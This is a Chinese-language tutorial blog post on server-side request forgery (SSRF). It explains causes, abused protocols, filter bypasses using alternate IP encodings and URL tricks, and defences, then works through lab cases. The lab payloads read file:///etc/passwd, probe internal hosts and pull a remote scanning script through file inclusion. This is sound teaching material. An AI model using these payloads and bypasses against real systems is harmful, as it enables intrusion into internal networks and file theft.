LOADING

加载过慢请开启缓存 浏览器默认开启

2024/5/5

SSRF漏洞原理

SSRF (Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。
很多Web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,Web应用可以获取url中的图片,下文件,读文件等。
攻击者可以利用存在缺陷的web应用作为代理攻击远程和本地服务器。一般SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成原因

SSRF漏洞形成的原因大多是因为服务端提供了从其他[服务器/应用]获取数据的功能,且没有对目标地址作过滤和限制。
比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档等等。

比如 :
A 网站是所有人都可以访问的外网网站,A能与B通信,B 网站是一个他们内部的网站
我们普通用户只可以访问 a 网站,不能访问 b 网站。
但是我们可以同过a网站做中间人,访问 b网站,从而达到攻击 b 网站需求

所以一般攻击是选择一台可以由我们访问的存在漏洞的外网服务器(作为跳板机)

正常用户访问网站的流程是
输入 A 网站 URL –> 发送请求 –> A 服务器接受请求(没有过滤),并处理 –>返回用户响应
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以 及限制,导致 A 网站可以从其他服务器的获取数据

在这里插入图片描述

在这里插入图片描述

SSRF的用途:

攻击者利用ssrf可以实现的攻击主要有5种

  1. 可以对外网、服务器所在内网、本地进行端口扫描
    获取一些服务的banner信息
  2. 攻击运行在内网或本地的应用程序
    比如溢出
  3. 对内网web应用进行指纹识别
    通过访问默认文件实现
  4. 攻击内外网的web应用
    主要是使用get参数就可以实现的攻击(比如struts2,sqli等)
  5. 利用file协议读取本地文件等

各个协议调用探针:http,file,dict,ftp,gopher 等
漏洞攻击:端口扫描,指纹识别,漏洞利用,内网探针等

http://192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21

内网探针:通过服务端请求其内网中的信息,内网穿透过去,通过协议,http,file,ftp,等
在内网中是没有办法直接请求信息的,通过访问网站实现跳板,来对内网实现攻击
内网IP地址是私有的,IP端并不多,做一个字典可以跑。
攻击的不是真实内网去,而是去打一些藏在内网中的服务,比如数据库被放在内网中无法提取,邮件服务器,隧道,代理等等等等

SSRF漏洞出没位置

注:个人觉得所有调外部资源的参数都有可能存在ssrf漏洞

  1. 分享:通过URL地址分享网页内容
  2. 转码服务
  3. 在线翻译
  4. 图片加载与下载:通过URL地址加载或下载图片
  5. 图片、文章收藏功能
  6. 未公开的api实现以及其他调用URL的功能
  7. 从URL关键字中寻找
    share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain等

例如: www.xxx.com/xxx.php?image=www.lucity.com/1.jpg
如果我们将 www.lucity.com/1.jpg 换为与该服务器相连的内网服务器地址会产生什么
在存在漏洞的情况想,如果存在该内网地址就会返回 1xx 2xx 之类的状态码,不存在就会其他的状态码

SSRF绕过与防护

SSRF常用的后端实现

ssrf 攻击可能存在任何语言编写的应用,代码审计中要注意以下函数

  1. file_get_contents
    从用户指定的 url 获取图片,然后把它用一个随机文 件名保存在硬盘上,并展示给用户
  2. fsockopen()
    实现获取用户制定 url 的数据(文件或者 html)。这个函数会 使用 socket 跟服务器建立 tcp 连接,传输原始数据
  3. curl_exec()
    用来获取数据

绕过手法

更改 IP 地址写法
一些开发者会通过对传过来的 URL 参数进行正则匹配的方式来过滤掉内网 IP,如采用如下正则表达式:

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们可以采用改编 IP 的写法的方式进行绕过,例如 192.168.0.1 这个 IP 地址
我们可以改写成:
(1)、8 进制格式:0300.0250.0.1
(2)、16 进制格式:0xC0.0xA8.0.1
(3)、10 进制整数格式:3232235521
(4)、16 进制整数格式:0xC0A80001

利用解析 URL 所出现的问题
在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。
随意地址+攻击地址:http://www.baidu.com@192.168.0.1/
当后端程序通过不正确的正则表达式(比如将 http 之后到 com 为止的字符内容,也就是 www.baidu.com,认为是访问请求的 host 地址时)对上述 URL 的内容进行解析的时候, 很有可能会认为访问 URL 的 host 为 www.baidu.com,而实际上这个 URL 所请求的内容是192.168.0.1 上的内容。

SSRF 防护方法

1、防护措施
(黑名单)
(1)过滤 10.0.0.0/8 、172.16.0.0/12、192.168.0.0/16、localhost 私有地址、IPv6 地址
(2)过滤 file:///、dict://、gopher://、ftp:// 危险 schema
(3)对返回的内容进行识别
(4)内网服务开启鉴权(Memcached, Redis, Elasticsearch and MongoDB)

2、最佳防护

  1. 使用地址白名单
  2. 对返回内容进行识别
  3. 需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:
    首先禁用CURLOPT_FOLLOWLOCATION
    然后通过域名获取目标ip,并过滤内部 ip;
    最后识别返回的内容是否与假定内容一致

SRF案例:

案例一:url没过滤

# 源代码如下
if(isset($_GET['url']) && $_GET['url'] != null){
    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
    echo $RES;
}

此时可以在url后边接任意地址,当然真正的渗透应该接目标的内网地址

#原地址:
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://localhost/1.txt
#直接替换url为任意网址或本地文件路径
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

案例二:只读取PHP文件

file_get_contents函数只能读取PHP文件,所以可以修改原本的路径,读取服务器其他的php文件

http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/captain.php

案例三:文件包含

利用文件包含漏洞,加载远程脚本扫描内部服务

#GET的请求:
http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
#观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
#使用如下payload,远程包含并执行扫描脚本探测内网主机的端口和服务。

#POST请求
http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/bWAPP/ssrf-1.txt&action=go
#POST DATA内容:
ip=192.168.60.70

192.168.163.157是要访问的主机地址A
xxx.xxx.xxx是要使用的远程扫描脚本的地址(也就是自己搭建的服务器)
192.168.60.70是要扫描的目标主机内网地址B,且该地址是xxx.xxx.xxx主机无法访问到的
使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。

参考链接:

SSRF原理基础 · 白帽与安全 · 看云 (kancloud.cn)

【小迪安全】完整详细笔记01-39天-CSDN博客